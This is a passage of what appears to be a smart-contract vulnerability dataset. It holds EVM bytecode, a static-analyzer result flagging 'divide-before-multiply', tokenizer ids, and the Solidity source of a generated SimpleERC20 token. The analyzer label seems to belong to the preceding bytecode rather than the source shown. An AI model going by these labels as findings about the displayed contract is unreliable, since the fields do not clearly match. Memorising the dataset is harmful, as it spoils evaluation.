01828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c726561647920696e636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ab5578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa85760056001600580549050038154811061194657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ab5565b80806001019150506118b9565b5050565b600033905090565b600080600080600080600080611ad5613665565b611ade8a612554565b856000600c8110611aeb57fe5b60200201866001600c8110611afc57fe5b60200201876002600c8110611b0d57fe5b60200201886008600c8110611b1e57fe5b6020020189600a600c8110611b2f57fe5b6020020185815250858152508581525085815250858152505050505050611b546124df565b816003600c8110611b6157fe5b602002018181525050611bcd8a826001600c8110611b7b57fe5b6020020151836003600c8110611b8d57fe5b6020020151846002600c8110611b9f57fe5b6020020151856008600c8110611bb157fe5b602002015186600a600c8110611bc357fe5b6020020151612769565b866004600c8110611bda57fe5b60200201876005600c8110611beb57fe5b60200201886006600c8110611bfc57fe5b60200201896007600c8110611c0d57fe5b602002018a6009600c8110611c1e57fe5b602002018b600b600c8110611c2f57fe5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611c5e57fe5b6020020151816005600c8110611c7057fe5b6020020151826006600c8110611c8257fe5b6020020151836000600c8110611c9457fe5b6020020151846001600c8110611ca657fe5b6020020151856002600c8110611cb857fe5b6020020151866008600c8110611cca57fe5b602002015187600a600c8110611cdc57fe5b60200201519850985098509850985098509850985050919395975091939597565b6000611d3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061241f565b905092915050565b600080828401905083811015611dc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137d76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061371e6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561204c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137b26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136ab6023913960400191505060405180910390fd5b6000811161212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137896029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121e3576121de838383612859565b61241a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122865750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229b57612296838383612abc565b612419565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561233f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123545761234f838383612d1f565b612418565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240b57612406838383612eed565b612417565b612416838383612d1f565b5b5b5b5b505050565b60008383111582906124cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612491578082015181840152602081019050612476565b50505050905090810190601f1680156124be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006124ec6131e5565b91509150612503818361250a90919063ffffffff16565b9250505090565b600061254c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134a6565b905092915050565b6000806000806000612564613688565b61258b600061257d60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160006005811061259857fe5b6020020181815250506125c860006125ba60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b816001600581106125d557fe5b60200201818152505061260560016125f760648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160026005811061261257fe5b602002018181525050612642600f61263460648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160036005811061264f57fe5b6020020181815250506126e58160036005811061266857fe5b60200201516126d78360006005811061267d57fe5b60200201516126c98560016005811061269257fe5b60200201516126bb876002600581106126a757fe5b60200201518e611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b816004600581106126f257fe5b6020020181815250508060046005811061270857fe5b60200201518160026005811061271a57fe5b60200201518260016005811061272c57fe5b60200201518360006005811061273e57fe5b60200201518460036005811061275057fe5b6020020151955095509550955095505091939590929450565b60008060008060008060006127878b8e61356c90919063ffffffff16565b9050600061279e8c8e61356c90919063ffffffff16565b905060006127b58d8d61356c90919063ffffffff16565b905060006127cc8e8c61356c90919063ffffffff16565b905060006127e38f8e61356c90919063ffffffff16565b905060006128308361282284612814886128068b8d611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b60008060008060008060008061286e89611ac1565b975097509750975097509750975097506128d089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296588600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fa87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4a86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612ad189611ac1565b97509750975097509750975097509750612b3388600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc885600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5d87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cad86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612d3489611ac1565b97509750975097509750975097509750612d9688600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7b86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612f0289611ac1565b97509750975097509750975097509750612f6489600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff988600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308e85600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317386858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b6005805490508110156134515782600160006005848154811061322457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330b57508160026000600584815481106132a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561332e576006546d314dc6448d9338c15b0a00000000945094505050506134a2565b6133b7600160006005848154811061334257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611cfd90919063ffffffff16565b925061344260026000600584815481106133cd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611cfd90919063ffffffff16565b91508080600101915050613205565b506134756d314dc6448d9338c15b0a0000000060065461250a90919063ffffffff16565b821015613499576006546d314dc6448d9338c15b0a000000009350935050506134a2565b81819350935050505b9091565b60008083118290613552576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135175780820151818401526020810190506134fc565b50505050905090810190601f1680156135445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161355e57fe5b049050809150509392505050565b60008083141561357f57600090506135ec565b600082840290508284828161359057fe5b04146135e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137406021913960400191505060405180910390fd5b809150505b92915050565b61360785600654611cfd90919063ffffffff16565b6006819055506136588161364a8461363c8761362e8a600754611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b6007819055505050505050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a0016040528060059060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b86fa60cf175ab7155064c68c47916a10282c31ab6b299b6af65fcd54f419d8864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2549, 2497, 11387, 19841, 2581, 2094, 2692, 2581, 2620, 2050, 8889, 2620, 22907, 16068, 2487, 7011, 25031, 10790, 2509, 2278, 2629, 2497, 27531, 8447, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,826
0x95c54e3032D13977980b470bF5ae7C0BE55C0ed8
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b0384166000908152600160209081526